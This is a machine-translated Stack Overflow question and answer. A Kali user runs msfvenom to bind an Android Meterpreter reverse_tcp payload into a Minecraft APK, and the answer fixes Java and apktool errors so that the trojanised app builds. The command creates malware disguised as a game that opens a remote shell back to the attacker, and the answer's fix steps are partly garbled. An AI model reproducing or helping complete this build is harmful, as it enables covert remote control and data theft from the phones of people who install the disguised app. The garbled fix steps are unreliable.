仔细阅读
嗨,我使用的是Kali 2.0,我喜欢用它来调整(抱歉英语不好,但我是意大利人)。当我使用这个命令时:
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk它给了我:
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true我已经在所有论坛上搜索了几个星期了,但是,我没有找到解决方案。我重新安装了Kali,metasploit框架,jdk,apktool。什么都没发生。有什么解决办法吗?
发布于 2020-04-25 01:59:29
我一直在挣扎,找到了解决办法。看起来问题就在于apktool和java环境变量(但在您的例子中可能只是一个问题),我卸载了apktool &java的(jdk,jre),重新安装,通过终端更改了版本,但是没有工作。
第一期(_JAVA_OPTIONS) :
为了解决这个问题,我在github https://github.com/iBotPeaches/Apktool/issues/2325上读了一篇文章
若要暂时修复,请在尝试使用msfvenom的同一终端窗口中运行以下命令
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'要永久修复它,请将上面的命令放在/root/.bashrc中(您必须检查视图选项卡中的显示隐藏文件)。
现在,上面的错误消息应该消失,如果apktool有问题,它将显示,无法用apktool重新构建apk。因此,要理解这一点,请阅读下面的内容:
第二个问题(Apktool)(无法用apktool重建apk ):
usr/local/sbin中缺少一个apktool文件。如果exists.apktool文件,并将其重命名为apktool.jar/user/local/binapktool,并验证版本
对于那些第二个问题不能跟上步骤的人,去看这个修复https://youtu.be/vxs_fkUHnSw。
https://stackoverflow.com/questions/60250263
复制相似问题